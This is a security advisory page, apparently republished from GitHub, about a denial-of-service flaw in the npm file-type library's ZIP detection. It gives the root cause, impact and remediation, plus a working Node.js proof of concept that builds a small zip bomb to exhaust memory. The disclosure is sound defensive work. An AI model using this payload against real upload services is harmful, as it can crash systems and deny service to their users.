Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Lifecycle Timeline
5Blast Radius
ecosystem impact- 1 npm packages depend on file-type (1 direct, 0 indirect)
Ecosystem-wide dependent count for version 20.0.0.
DescriptionGitHub Advisory
Summary
A crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile().
In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on file-type 21.3.1, a ZIP of about 255 KB caused about 257 MB of RSS growth during fileTypeFromBuffer().
This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.
Root Cause
The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.
For stream inputs, ZIP probing was bounded by maximumZipEntrySizeInBytes (1 MiB). For known-size inputs such as buffers, blobs, and files, the code instead used Number.MAX_SAFE_INTEGER in two relevant places:
const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)
? maximumZipEntrySizeInBytes
: Number.MAX_SAFE_INTEGER;and:
const maximumLength = hasUnknownFileSize(this.tokenizer)
? maximumZipEntrySizeInBytes
: Number.MAX_SAFE_INTEGER;Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as [Content_Types].xml.
Proof of Concept
import {fileTypeFromBuffer} from 'file-type';
import archiver from 'archiver';
import {Writable} from 'node:stream';
async function createZipBomb(sizeInMegabytes) {
return new Promise((resolve, reject) => {
const chunks = [];
const writable = new Writable({
write(chunk, encoding, callback) {
chunks.push(chunk);
callback();
},
});
const archive = archiver('zip', {zlib: {level: 9}});
archive.pipe(writable);
writable.on('finish', () => {
resolve(Buffer.concat(chunks));
});
archive.on('error', reject);
const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">';
const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);
archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});
archive.finalize();
});
}
const zip = await createZipBomb(256);
console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));
const before = process.memoryUsage().rss;
await fileTypeFromBuffer(zip);
const after = process.memoryUsage().rss;
console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));Observed on file-type 21.3.1:
- ZIP size: about
255 KB - RSS growth during detection: about
257 MB
Affected APIs
Affected:
fileTypeFromBuffer()fileTypeFromBlob()fileTypeFromFile()
Not affected:
fileTypeFromStream(), which already enforced the ZIP inflate limit for unknown-size inputs
Impact
Applications that inspect untrusted uploads with fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile() can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.
Cause
The issue was introduced in 399b0f1
AnalysisAI
The file-type library's ZIP file type detection functions fail to limit decompression output for known-size inputs, allowing attackers to craft small compressed ZIP files that expand to hundreds of megabytes in memory during processing. Applications processing untrusted file uploads are vulnerable to denial-of-service attacks that cause excessive memory consumption and potential crashes. …
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Vulnerability AssessmentAI
| Risk Assessment | This vulnerability presents a moderate but material availability risk with several reinforcing signals. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker uploads a carefully crafted 255 KB ZIP file to a web application that validates file types using fileTypeFromBuffer() on untrusted user submissions. During type detection, the application attempts to decompress and analyze ZIP entries such as [Content_Types].xml, triggering uncontrolled inflation that consumes approximately 257 MB of memory. … |
| Remediation | Upgrade the file-type package to the patched version that corrects the ZIP inflate limit enforcement for known-size inputs (apply the fix for commits following 399b0f1). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 30 days: Identify affected systems running affected and apply vendor patches as part of regular patch cycle. …
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-12139
GHSA-j47w-4g3g-c36v